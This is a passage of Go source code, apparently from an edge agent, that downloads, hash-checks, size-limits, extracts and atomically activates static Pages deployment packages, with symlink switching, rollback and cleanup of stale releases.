if snapshot.PagesDeployments[i].ProjectID != project.ProjectID {
|
||||
continue
|
||||
}
|
||||
snapshot.PagesDeployments[i].DeploymentID = project.DeploymentID
|
||||
snapshot.PagesDeployments[i].Hash = hash
|
||||
snapshot.PagesDeployments[i].Checksum = ""
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func pagesDiscoveryNeeded(snapshot *state.Snapshot) bool {
|
||||
if snapshot == nil || snapshot.PagesDeployments == nil {
|
||||
return true
|
||||
}
|
||||
// Legacy state rows may only have deployment_id (project_id == 0). Those
|
||||
// cannot poll latest-by-project; force a full config rediscovery.
|
||||
if len(snapshot.PagesDeployments) > 0 && len(snapshotPagesProjects(snapshot)) == 0 {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func pagesSyncNeeded(snapshot *state.Snapshot) bool {
|
||||
return snapshot != nil && len(snapshotPagesProjects(snapshot)) > 0
|
||||
}
|
||||
|
||||
func pagesReconcileNeeded(snapshot *state.Snapshot) bool {
|
||||
if pagesDiscoveryNeeded(snapshot) {
|
||||
return true
|
||||
}
|
||||
return pagesSyncNeeded(snapshot)
|
||||
}
|
||||
|
||||
func (s *Service) syncPagesDeployments(ctx context.Context, snapshot *state.Snapshot, config *protocol.ActiveConfigResponse) error {
|
||||
var projects []pagesProjectRef
|
||||
var err error
|
||||
if config != nil {
|
||||
projects, err = referencedPagesProjects(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
setSnapshotPagesProjects(snapshot, projects)
|
||||
} else {
|
||||
projects = snapshotPagesProjects(snapshot)
|
||||
}
|
||||
if len(projects) == 0 {
|
||||
return nil
|
||||
}
|
||||
if strings.TrimSpace(s.pagesDir) == "" {
|
||||
return errors.New("pages_dir is required when active config references Pages projects")
|
||||
}
|
||||
|
||||
// Isolate per-project failures so one bad project does not block others.
|
||||
var failed []error
|
||||
for _, project := range projects {
|
||||
if ensureErr := s.ensurePagesProject(ctx, snapshot, project.ProjectID); ensureErr != nil {
|
||||
slog.Error("ensure Pages project failed",
|
||||
"project_id", project.ProjectID,
|
||||
"error", ensureErr,
|
||||
)
|
||||
failed = append(failed, fmt.Errorf("pages project %d: %w", project.ProjectID, ensureErr))
|
||||
}
|
||||
}
|
||||
if s.nginxManager != nil {
|
||||
if accessErr := s.nginxManager.EnsureWorkerReadAccess(); accessErr != nil {
|
||||
failed = append(failed, fmt.Errorf("ensure openresty worker read access: %w", accessErr))
|
||||
}
|
||||
}
|
||||
if len(failed) == 0 {
|
||||
return nil
|
||||
}
|
||||
return errors.Join(failed...)
|
||||
}
|
||||
|
||||
// ensurePagesProject pulls the control-plane "latest" (active) package for a
|
||||
// Pages project and switches local current to that release when needed.
|
||||
// Only the latest release is retained on disk; older releases are removed after
|
||||
// the new release is ready and current has been switched.
|
||||
func (s *Service) ensurePagesProject(ctx context.Context, snapshot *state.Snapshot, projectID uint) error {
|
||||
if projectID == 0 {
|
||||
return errors.New("pages project id is required")
|
||||
}
|
||||
|
||||
var lastErr error
|
||||
for attempt := range pagesLatestPullAttempts {
|
||||
latest, err := s.client.GetPagesProjectLatestHash(ctx, projectID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("fetch Pages project %d latest hash: %w", projectID, err)
|
||||
}
|
||||
limits, err := validatePagesPackageMetadata(projectID, latest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
hash := strings.TrimSpace(latest.Hash)
|
||||
effective := pagesProjectRef{
|
||||
ProjectID: projectID,
|
||||
DeploymentID: latest.DeploymentID,
|
||||
Checksum: hash,
|
||||
}
|
||||
|
||||
releaseDir := pagesProjectReleaseDir(s.pagesDir, projectID, hash)
|
||||
if pagesProjectReleaseReady(releaseDir, effective) {
|
||||
if err := switchPagesProjectCurrentDir(s.pagesDir, projectID, releaseDir); err != nil {
|
||||
return err
|
||||
}
|
||||
updateSnapshotPagesProject(snapshot, effective)
|
||||
_ = cleanupPagesProjectStaleReleases(s.pagesDir, projectID, hash)
|
||||
return nil
|
||||
}
|
||||
|
||||
packagePath, got, err := s.downloadPagesProjectPackage(ctx, projectID, latest, limits.PackageBytes)
|
||||
if err != nil {
|
||||
return fmt.Errorf("download Pages project %d latest package: %w", projectID, err)
|
||||
}
|
||||
|
||||
// Re-probe latest after download to detect activation races.
|
||||
// A deployment-id-only change is still a latest-pointer race even when
|
||||
// deduplication makes both deployments share the same package hash.
|
||||
verify, err := s.client.GetPagesProjectLatestHash(ctx, projectID)
|
||||
if err != nil {
|
||||
_ = os.Remove(packagePath)
|
||||
return fmt.Errorf("re-fetch Pages project %d latest hash: %w", projectID, err)
|
||||
}
|
||||
if _, err := validatePagesPackageMetadata(projectID, verify); err != nil {
|
||||
_ = os.Remove(packagePath)
|
||||
return err
|
||||
}
|
||||
if !samePagesPackageMetadata(latest, verify) {
|
||||
_ = os.Remove(packagePath)
|
||||
lastErr = fmt.Errorf(
|
||||
"pages project %d latest metadata changed during download: deployment %d/%s -> %d/%s (attempt %d/%d)",
|
||||
projectID,
|
||||
latest.DeploymentID,
|
||||
strings.TrimSpace(latest.Hash),
|
||||
verify.DeploymentID,
|
||||
strings.TrimSpace(verify.Hash),
|
||||
attempt+1,
|
||||
pagesLatestPullAttempts,
|
||||
)
|
||||
slog.Warn("pages latest metadata race, retrying",
|
||||
"project_id", projectID,
|
||||
"before_deployment_id", latest.DeploymentID,
|
||||
"before_hash", strings.TrimSpace(latest.Hash),
|
||||
"after_deployment_id", verify.DeploymentID,
|
||||
"after_hash", strings.TrimSpace(verify.Hash),
|
||||
"attempt", attempt+1,
|
||||
)
|
||||
continue
|
||||
}
|
||||
if got != hash {
|
||||
_ = os.Remove(packagePath)
|
||||
lastErr = fmt.Errorf(
|
||||
"pages project %d package hash mismatch: downloaded %s, expected %s (attempt %d/%d)",
|
||||
projectID, got, hash, attempt+1, pagesLatestPullAttempts,
|
||||
)
|
||||
slog.Warn("pages latest package hash mismatch, retrying",
|
||||
"project_id", projectID,
|
||||
"downloaded_hash", got,
|
||||
"expected_hash", hash,
|
||||
"attempt", attempt+1,
|
||||
)
|
||||
continue
|
||||
}
|
||||
|
||||
releaseDir = pagesProjectReleaseDir(s.pagesDir, projectID, got)
|
||||
extractErr := extractPagesPackageFile(packagePath, releaseDir, effective, limits.Extraction, latest)
|
||||
_ = os.Remove(packagePath)
|
||||
if extractErr != nil {
|
||||
return extractErr
|
||||
}
|
||||
if err := switchPagesProjectCurrentDir(s.pagesDir, projectID, releaseDir); err != nil {
|
||||
return err
|
||||
}
|
||||
updateSnapshotPagesProject(snapshot, effective)
|
||||
// Only after the new release is ready and current switched: drop others.
|
||||
_ = cleanupPagesProjectStaleReleases(s.pagesDir, projectID, got)
|
||||
return nil
|
||||
}
|
||||
if lastErr != nil {
|
||||
return lastErr
|
||||
}
|
||||
return fmt.Errorf("pages project %d latest pull failed", projectID)
|
||||
}
|
||||
|
||||
func validatePagesPackageMetadata(
|
||||
projectID uint,
|
||||
metadata *protocol.PagesProjectLatestHashResponse,
|
||||
) (pagesPackageLimits, error) {
|
||||
if metadata == nil {
|
||||
return pagesPackageLimits{}, fmt.Errorf("pages project %d latest metadata is missing", projectID)
|
||||
}
|
||||
if metadata.ProjectID != projectID {
|
||||
return pagesPackageLimits{}, fmt.Errorf(
|
||||
"pages project %d latest metadata has project id %d",
|
||||
projectID,
|
||||
metadata.ProjectID,
|
||||
)
|
||||
}
|
||||
if metadata.DeploymentID == 0 {
|
||||
return pagesPackageLimits{}, fmt.Errorf("pages project %d latest deployment id is missing", projectID)
|
||||
}
|
||||
if strings.TrimSpace(metadata.Hash) == "" {
|
||||
return pagesPackageLimits{}, fmt.Errorf("pages project %d latest hash is empty", projectID)
|
||||
}
|
||||
if metadata.PackageSize <= 0 {
|
||||
return pagesPackageLimits{}, fmt.Errorf("pages project %d package size must be positive", projectID)
|
||||
}
|
||||
if metadata.PackageSize > agentPagesMaxPackageBytes {
|
||||
return pagesPackageLimits{}, fmt.Errorf(
|
||||
"pages project %d package size %d exceeds agent limit %d",
|
||||
projectID,
|
||||
metadata.PackageSize,
|
||||
agentPagesMaxPackageBytes,
|
||||
)
|
||||
}
|
||||
if metadata.FileCount <= 0 {
|
||||
return pagesPackageLimits{}, fmt.Errorf("pages project %d file count must be positive", projectID)
|
||||
}
|
||||
if metadata.FileCount > agentPagesMaxFiles {
|
||||
return pagesPackageLimits{}, fmt.Errorf(
|
||||
"pages project %d file count %d exceeds agent limit %d",
|
||||
projectID,
|
||||
metadata.FileCount,
|
||||
agentPagesMaxFiles,
|
||||
)
|
||||
}
|
||||
if metadata.TotalSize < 0 {
|
||||
return pagesPackageLimits{}, fmt.Errorf("pages project %d total size cannot be negative", projectID)
|
||||
}
|
||||
if metadata.TotalSize > agentPagesMaxTotalBytes {
|
||||
return pagesPackageLimits{}, fmt.Errorf(
|
||||
"pages project %d total size %d exceeds agent limit %d",
|
||||
projectID,
|
||||
metadata.TotalSize,
|
||||
agentPagesMaxTotalBytes,
|
||||
)
|
||||
}
|
||||
|
||||
// pagesarchive treats zero limits as defaults. A one-byte extraction guard
|
||||
// plus the exact post-extraction manifest check below preserves the valid
|
||||
// case of one or more zero-byte files while still enforcing total_size=0.
|
||||
extractedBytes := metadata.TotalSize
|
||||
if extractedBytes == 0 {
|
||||
extractedBytes = 1
|
||||
}
|
||||
maxFileBytes := min(extractedBytes, agentPagesMaxFileBytes)
|
||||
|
||||
return pagesPackageLimits{
|
||||
PackageBytes: metadata.PackageSize,
|
||||
Extraction: pagesarchive.Limits{
|
||||
MaxFiles: metadata.FileCount,
|
||||
MaxFileBytes: maxFileBytes,
|
||||
MaxTotalBytes: extractedBytes,
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func samePagesPackageMetadata(
|
||||
before *protocol.PagesProjectLatestHashResponse,
|
||||
after *protocol.PagesProjectLatestHashResponse,
|
||||
) bool {
|
||||
if before == nil || after == nil {
|
||||
return false
|
||||
}
|
||||
return before.ProjectID == after.ProjectID &&
|
||||
before.DeploymentID == after.DeploymentID &&
|
||||
strings.TrimSpace(before.Hash) == strings.TrimSpace(after.Hash) &&
|
||||
before.PackageSize == after.PackageSize &&
|
||||
before.FileCount == after.FileCount &&
|
||||
before.TotalSize == after.TotalSize
|
||||
}
|
||||
|
||||
func (s *Service) downloadPagesProjectPackage(
|
||||
ctx context.Context,
|
||||
projectID uint,
|
||||
metadata *protocol.PagesProjectLatestHashResponse,
|
||||
maxBytes int64,
|
||||
) (packagePath string, hash string, err error) {
|
||||
releasesRoot := filepath.Join(s.pagesDir, "projects", strconv.FormatUint(uint64(projectID), 10), "releases")
|
||||
if err := os.MkdirAll(releasesRoot, pagesDirPerm); err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
packageFile, err := os.CreateTemp(releasesRoot, ".package-*.tmp")
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
packagePath = packageFile.Name()
|
||||
keep := false
|
||||
defer func() {
|
||||
if closeErr := packageFile.Close(); err == nil && closeErr != nil {
|
||||
err = closeErr
|
||||
}
|
||||
if !keep || err != nil {
|
||||
_ = os.Remove(packagePath)
|
||||
packagePath = ""
|
||||
}
|
||||
}()
|
||||
|
||||
hasher := sha256.New()
|
||||
written, err := s.client.DownloadPagesProjectLatestPackage(
|
||||
ctx,
|
||||
projectID,
|
||||
io.MultiWriter(packageFile, hasher),
|
||||
maxBytes,
|
||||
)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
if written != metadata.PackageSize {
|
||||
return "", "", fmt.Errorf(
|
||||
"pages project %d package size %d does not match metadata %d",
|
||||
projectID,
|
||||
written,
|
||||
metadata.PackageSize,
|
||||
)
|
||||
}
|
||||
keep = true
|
||||
return packagePath, hex.EncodeToString(hasher.Sum(nil)), nil
|
||||
}
|
||||
|
||||
// cleanupPagesProjectStaleReleases keeps only keepHash under projects/{id}/releases.
|
||||
// Must be called only after the keepHash release is ready and current points at it.
|
||||
func cleanupPagesProjectStaleReleases(baseDir string, projectID uint, keepHash string) error {
|
||||
keepHash = strings.TrimSpace(keepHash)
|
||||
if projectID == 0 || keepHash == "" {
|
||||
return nil
|
||||
}
|
||||
releasesRoot := filepath.Join(baseDir, "projects", strconv.FormatUint(uint64(projectID), 10), "releases")
|
||||
entries, err := os.ReadDir(releasesRoot) //nolint:gosec // managed PagesDir
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
var firstErr error
|
||||
for _, entry := range entries {
|
||||
name := entry.Name()
|
||||
if name == keepHash {
|
||||
continue
|
||||
}
|
||||
// Drop partial extract leftovers as well (*.tmp).
|
||||
target := filepath.Join(releasesRoot, name)
|
||||
if removeErr := os.RemoveAll(target); removeErr != nil && firstErr == nil {
|
||||
firstErr = removeErr
|
||||
slog.Warn("failed to remove stale Pages release",
|
||||
"project_id", projectID,
|
||||
"path", target,
|
||||
"error", removeErr,
|
||||
)
|
||||
}
|
||||
}
|
||||
// Also remove legacy deployments/ tree leftovers if present (best-effort).
|
||||
_ = os.RemoveAll(filepath.Join(baseDir, "deployments"))
|
||||
return firstErr
|
||||
}
|
||||
|
||||
func pagesProjectReleaseReady(dir string, project pagesProjectRef) bool {
|
||||
if !markerMatches(dir, project) {
|
||||
return false
|
||||
}
|
||||
entries, err := os.ReadDir(dir) //nolint:gosec // dir is managed PagesDir
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if entry.Name() == ".openflare-pages.json" {
|
||||
continue
|
||||
}
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func referencedPagesProjects(config *protocol.ActiveConfigResponse) ([]pagesProjectRef, error) {
|
||||
if config == nil || strings.TrimSpace(config.SourceConfigJSON) == "" {
|
||||
return nil, nil
|
||||
}
|
||||
var doc pagesSourceDocument
|
||||
if err := json.Unmarshal([]byte(config.SourceConfigJSON), &doc); err != nil {
|
||||
return nil, fmt.Errorf("decode pages references: %w", err)
|
||||
}
|
||||
seen := make(map[uint]struct{})
|
||||
result := make([]pagesProjectRef, 0)
|
||||
for _, route := range doc.Routes {
|
||||
if strings.ToLower(strings.TrimSpace(route.UpstreamType)) != "pages" {
|
||||
continue
|
||||
}
|
||||
projectID := pagesProjectIDFromRoute(route)
|
||||
if projectID == 0 {
|
||||
return nil, errors.New("pages route is missing project_id")
|
||||
}
|
||||
if _, ok := seen[projectID]; ok {
|
||||
continue
|
||||
}
|
||||
seen[projectID] = struct{}{}
|
||||
checksum := ""
|
||||
deploymentID := uint(0)
|
||||
if route.PagesDeployment != nil {
|
||||
checksum = strings.TrimSpace(route.PagesDeployment.Checksum)
|
||||
deploymentID = route.PagesDeployment.DeploymentID
|
||||
}
|
||||
result = append(result, pagesProjectRef{
|
||||
ProjectID: projectID,
|
||||
DeploymentID: deploymentID,
|
||||
Checksum: checksum,
|
||||
})
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func pagesProjectIDFromRoute(route pagesSourceRoute) uint {
|
||||
if route.PagesProjectID != nil && *route.PagesProjectID != 0 {
|
||||
return *route.PagesProjectID
|
||||
}
|
||||
if route.PagesDeployment != nil && route.PagesDeployment.ProjectID != 0 {
|
||||
return route.PagesDeployment.ProjectID
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// pagesDeploymentSource is the subset of pages_deployment used when parsing config.
|
||||
type pagesDeploymentSource struct {
|
||||
ProjectID uint `json:"project_id"`
|
||||
DeploymentID uint `json:"deployment_id"`
|
||||
Checksum string `json:"checksum"`
|
||||
}
|
||||
|
||||
func extractPagesPackageFile(
|
||||
packagePath string,
|
||||
releaseDir string,
|
||||
project pagesProjectRef,
|
||||
limits pagesarchive.Limits,
|
||||
expected *protocol.PagesProjectLatestHashResponse,
|
||||
) error {
|
||||
if err := os.MkdirAll(filepath.Dir(releaseDir), pagesDirPerm); err != nil {
|
||||
return err
|
||||
}
|
||||
stagingDir, err := os.MkdirTemp(
|
||||
filepath.Dir(releaseDir),
|
||||
"."+filepath.Base(releaseDir)+"-*.tmp",
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
cleanupStaging := true
|
||||
defer func() {
|
||||
if cleanupStaging {
|
||||
removePagesStagingUnlessCurrent(stagingDir, pagesCurrentDirFromRelease(releaseDir))
|
||||
}
|
||||
}()
|
||||
|
||||
if err := pagesarchive.ExtractFile(packagePath, "", stagingDir, pagesarchive.ExtractOptions{
|
||||
StripCommonRoot: true,
|
||||
EnforceLimits: true,
|
||||
Limits: limits,
|
||||
}); err != nil {
|
||||
return fmt.Errorf("extract Pages package: %w", err)
|
||||
}
|
||||
if err := validateExtractedPagesMetadata(stagingDir, expected); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := writePagesMarker(stagingDir, project); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := promotePagesRelease(stagingDir, releaseDir, project); err != nil {
|
||||
return err
|
||||
}
|
||||
cleanupStaging = false
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateExtractedPagesMetadata(
|
||||
dir string,
|
||||
expected *protocol.PagesProjectLatestHashResponse,
|
||||
) error {
|
||||
if expected == nil {
|
||||
return nil
|
||||
}
|
||||
fileCount := 0
|
||||
totalSize := int64(0)
|
||||
err := filepath.WalkDir(dir, func(path string, entry os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil {
|
||||
return walkErr
|
||||
}
|
||||
if entry.IsDir() {
|
||||
return nil
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !info.Mode().IsRegular() {
|
||||
return fmt.Errorf("pages extracted entry is not a regular file: %s", path)
|
||||
}
|
||||
fileCount++
|
||||
if fileCount > agentPagesMaxFiles {
|
||||
return fmt.Errorf("pages extracted file count exceeds agent limit %d", agentPagesMaxFiles)
|
||||
}
|
||||
if info.Size() < 0 || info.Size() > agentPagesMaxTotalBytes-totalSize {
|
||||
return fmt.Errorf("pages extracted size exceeds agent limit %d", agentPagesMaxTotalBytes)
|
||||
}
|
||||
totalSize += info.Size()
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Errorf("validate extracted Pages package: %w", err)
|
||||
}
|
||||
if fileCount != expected.FileCount || totalSize != expected.TotalSize {
|
||||
return fmt.Errorf(
|
||||
"pages extracted metadata mismatch: got %d files/%d bytes, expected %d files/%d bytes",
|
||||
fileCount,
|
||||
totalSize,
|
||||
expected.FileCount,
|
||||
expected.TotalSize,
|
||||
)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func promotePagesRelease(stagingDir string, releaseDir string, project pagesProjectRef) error {
|
||||
return promotePagesReleaseWithCopy(stagingDir, releaseDir, project, copyPagesDir)
|
||||
}
|
||||
|
||||
func promotePagesReleaseWithCopy(
|
||||
stagingDir string,
|
||||
releaseDir string,
|
||||
project pagesProjectRef,
|
||||
copyDir func(string, string) error,
|
||||
) error {
|
||||
currentDir := pagesCurrentDirFromRelease(releaseDir)
|
||||
defer removePagesStagingUnlessCurrent(stagingDir, currentDir)
|
||||
currentUsesRelease, err := pagesCurrentTargetsRelease(currentDir, releaseDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !currentUsesRelease {
|
||||
if err := os.RemoveAll(releaseDir); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.Rename(stagingDir, releaseDir)
|
||||
}
|
||||
|
||||
// A same-hash repair cannot remove releaseDir while current still resolves
|
||||
// through it. Keep traffic on the fully validated staging tree, rebuild the
|
||||
// canonical release, then atomically point current back to the canonical path.
|
||||
if err := switchPagesCurrentDir(currentDir, stagingDir, os.Rename); err != nil {
|
||||
return fmt.Errorf("switch Pages current to repair staging: %w", err)
|
||||
}
|
||||
backupDir := stagingDir + ".previous"
|
||||
if err := os.Rename(releaseDir, backupDir); err != nil {
|
||||
restoreErr := switchPagesCurrentDir(currentDir, releaseDir, os.Rename)
|
||||
return errors.Join(
|
||||
fmt.Errorf("move previous Pages release aside: %w", err),
|
||||
restoreErr,
|
||||
)
|
||||
}
|
||||
|
||||
rollback := func(cause error) error {
|
||||
var rollbackErrors []error
|
||||
rollbackErrors = append(rollbackErrors, cause)
|
||||
if err := os.RemoveAll(releaseDir); err != nil {
|
||||
rollbackErrors = append(rollbackErrors, fmt.Errorf("remove failed Pages release repair: %w", err))
|
||||
}
|
||||
if err := os.Rename(backupDir, releaseDir); err != nil {
|
||||
rollbackErrors = append(rollbackErrors, fmt.Errorf("restore previous Pages release: %w", err))
|
||||
return errors.Join(rollbackErrors...)
|
||||
}
|
||||
if err := switchPagesCurrentDir(currentDir, releaseDir, os.Rename); err != nil {
|
||||
rollbackErrors = append(rollbackErrors, fmt.Errorf("restore previous Pages current target: %w", err))
|
||||
}
|
||||
return errors.Join(rollbackErrors...)
|
||||
}
|
||||
|
||||
if err := copyDir(stagingDir, releaseDir); err != nil {
|
||||
return rollback(fmt.Errorf("copy repaired Pages release: %w", err))
|
||||
}
|
||||
if !pagesProjectReleaseReady(releaseDir, project) {
|
||||
return rollback(errors.New("repaired Pages release is not ready"))
|
||||
}
|
||||
if err := switchPagesCurrentDir(currentDir, releaseDir, os.Rename); err != nil {
|
||||
return rollback(fmt.Errorf("switch Pages current to repaired release: %w", err))
|
||||
}
|
||||
if err := os.RemoveAll(backupDir); err != nil {
|
||||
slog.Warn("failed to remove previous Pages release", "path", backupDir, "error", err)
|
||||
}
|
||||
if err := os.RemoveAll(stagingDir); err != nil {
|
||||
slog.Warn("failed to remove Pages repair staging", "path", stagingDir, "error", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func pagesCurrentDirFromRelease(releaseDir string) string {
|
||||
return filepath.Join(filepath.Dir(filepath.Dir(releaseDir)), "current")
|
||||
}
|
||||
|
||||
func pagesCurrentTargetsRelease(currentDir string, releaseDir string) (bool, error) {
|
||||
if _, err := os.Lstat(currentDir); err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
currentInfo, err := os.Stat(currentDir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return false, nil
|
||||
}
|
||||
return false, fmt.Errorf("stat Pages current target: %w", err)
|
||||
}
|
||||
releaseInfo, err := os.Stat(releaseDir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
return os.SameFile(currentInfo, releaseInfo), nil
|
||||
}
|
||||
|
||||
func removePagesStagingUnlessCurrent(stagingDir string, currentDir string) {
|
||||
currentUsesStaging, err := pagesCurrentTargetsRelease(currentDir, stagingDir)
|
||||
if err == nil && currentUsesStaging {
|
||||
slog.Error("preserving Pages staging because current still references it", "path", stagingDir)
|
||||
return
|
||||
}
|
||||
if removeErr := os.RemoveAll(stagingDir); removeErr != nil {
|
||||
slog.Warn("failed to remove Pages staging", "path", stagingDir, "error", removeErr)
|
||||
}
|
||||
}
|
||||
|
||||
func verifyPagesCurrentTarget(currentDir string, releaseDir string) error {
|
||||
currentInfo, err := os.Stat(currentDir)
|
||||
if err != nil {
|
||||
return fmt.Errorf("stat Pages current target: %w", err)
|
||||
}
|
||||
releaseInfo, err := os.Stat(releaseDir)
|
||||
if err != nil {
|
||||
return fmt.Errorf("stat Pages release target: %w", err)
|
||||
}
|
||||
if !os.SameFile(currentInfo, releaseInfo) {
|
||||
return fmt.Errorf("pages current target does not resolve to release %s", releaseDir)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func switchPagesCurrentDir(
|
||||
currentDir string,
|
||||
releaseDir string,
|
||||
rename func(string, string) error,
|
||||
) error {
|
||||
return switchPagesCurrentDirWithOps(currentDir, releaseDir, rename, os.Symlink)
|
||||
}
|
||||
|
||||
func switchPagesCurrentDirWithOps(
|
||||
currentDir string,
|
||||
releaseDir string,
|
||||
rename func(string, string) error,
|
||||
symlink func(string, string) error,
|
||||
) error {
|
||||
if err := os.MkdirAll(filepath.Dir(currentDir), pagesDirPerm); err != nil {
|
||||
return err
|
||||
}
|
||||
currentInfo, currentErr := os.Lstat(currentDir)
|
||||
if currentErr != nil && !os.IsNotExist(currentErr) {
|
||||
return currentErr
|
||||
}
|
||||
if currentErr == nil && currentInfo.Mode()&os.ModeSymlink == 0 {
|
||||
return fallbackCopyPagesCurrentDir(currentDir, releaseDir, rename)
|
||||
}
|
||||
|
||||
previousTarget := ""
|
||||
hadPrevious := currentErr == nil
|
||||
if hadPrevious {
|
||||
var err error
|
||||
previousTarget, err = os.Readlink(currentDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
relTarget, err := filepath.Rel(filepath.Dir(currentDir), releaseDir)
|
||||
if err != nil {
|
||||
relTarget = releaseDir
|
||||
}
|
||||
|
||||
tmpSymlink := currentDir + ".tmp"
|
||||
if err := os.Remove(tmpSymlink); err != nil && !os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
if err := symlink(relTarget, tmpSymlink); err != nil {
|
||||
_ = os.Remove(tmpSymlink)
|
||||
return fallbackCopyPagesCurrentDir(currentDir, releaseDir, rename)
|
||||
}
|
||||
defer func() { _ = os.Remove(tmpSymlink) }()
|
||||
if err := verifyPagesCurrentTarget(tmpSymlink, releaseDir); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rename(tmpSymlink, currentDir); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := verifyPagesCurrentTarget(currentDir, releaseDir); err != nil {
|
||||
rollbackErr := rollbackPagesCurrentSymlink(
|
||||
currentDir,
|
||||
previousTarget,
|
||||
hadPrevious,
|
||||
rename,
|
||||
)
|
||||
return errors.Join(err, rollbackErr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func fallbackCopyPagesCurrentDir(
|
||||
currentDir string,
|
||||
releaseDir string,
|
||||
rename func(string, string) error,
|
||||
) error {
|
||||
stagingDir := currentDir + ".copy.tmp"
|
||||
previousDir := currentDir + ".previous"
|
||||
if err := os.RemoveAll(stagingDir); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := copyPagesDir(releaseDir, stagingDir); err != nil {
|
||||
_ = os.RemoveAll(stagingDir)
|
||||
return err
|
||||
}
|
||||
if err := os.RemoveAll(previousDir); err != nil {
|
||||
_ = os.RemoveAll(stagingDir)
|
||||
return err
|
||||
}
|
||||
|
||||
hadPrevious := false
|
||||
if _, err := os.Lstat(currentDir); err == nil {
|
||||
if err := rename(currentDir, previousDir); err != nil {
|
||||
_ = os.RemoveAll(stagingDir)
|
||||
return err
|
||||
}
|
||||
hadPrevious = true
|
||||
} else if !os.IsNotExist(err) {
|
||||
_ = os.RemoveAll(stagingDir)
|
||||
return err
|
||||
}
|
||||
if err := rename(stagingDir, currentDir); err != nil {
|
||||
var restoreErr error
|
||||
if hadPrevious {
|
||||
restoreErr = rename(previousDir, currentDir)
|
||||
}
|
||||
_ = os.RemoveAll(stagingDir)
|
||||
return errors.Join(err, restoreErr)
|
||||
}
|
||||
if err := os.RemoveAll(previousDir); err != nil {
|
||||
slog.Warn("failed to remove previous Pages current directory", "path", previousDir, "error", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func switchPagesProjectCurrentDir(baseDir string, projectID uint, releaseDir string) error {
|
||||
return switchPagesProjectCurrentDirWithRename(baseDir, projectID, releaseDir, os.Rename)
|
||||
}
|
||||
|
||||
func switchPagesProjectCurrentDirWithRename(
|
||||
baseDir string,
|
||||
projectID uint,
|
||||
releaseDir string,
|
||||
rename func(string, string) error,
|
||||
) error {
|
||||
return switchPagesCurrentDir(pagesProjectCurrentDir(baseDir, projectID), releaseDir, rename)
|
||||
}
|
||||
|
||||
func rollbackPagesCurrentSymlink(
|
||||
currentDir string,
|
||||
previousTarget string,
|
||||
hadPrevious bool,
|
||||
rename func(string, string) error,
|
||||
) error {
|
||||
if !hadPrevious {
|
||||
if err := os.Remove(currentDir); err != nil && !os.IsNotExist(err) {
|
||||
return fmt.Errorf("remove unverified Pages current symlink: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
rollbackSymlink := currentDir + ".rollback.tmp"
|
||||
if err := os.Remove(rollbackSymlink); err != nil && !os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
if err := os.Symlink(previousTarget, rollbackSymlink); err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() { _ = os.Remove(rollbackSymlink) }()
|
||||
if err := rename(rollbackSymlink, currentDir); err != nil {
|
||||
return fmt.Errorf("restore previous Pages current symlink: %w", err)
|
||||
}
|
||||
gotTarget, err := os.Readlink(currentDir)
|
||||
if err != nil {
|
||||
return fmt.Errorf("verify restored Pages current symlink: %w", err)
|
||||
}
|
||||
if gotTarget != previousTarget {
|
||||
return fmt.Errorf(
|
||||
"restored Pages current symlink target %q does not match %q",
|
||||
gotTarget,
|
||||
previousTarget,
|
||||
)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func copyPagesDir(sourceDir string, targetDir string) error {
|
||||
return filepath.WalkDir(sourceDir, func(sourcePath string, entry os.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
relativePath, err := filepath.Rel(sourceDir, sourcePath)
|
||||
if err != nil || relativePath == "." {
|
||||
return err
|
||||
}
|
||||
targetPath := filepath.Join(targetDir, relativePath)
|
||||
if entry.IsDir() {
|
||||
return os.MkdirAll(targetPath, pagesDirPerm)
|
||||
}
|
||||
return copyPagesFile(sourcePath, targetPath)
|
||||
})
|
||||
}
|
||||
|
||||
func copyPagesFile(sourcePath string, targetPath string) error {
|
||||
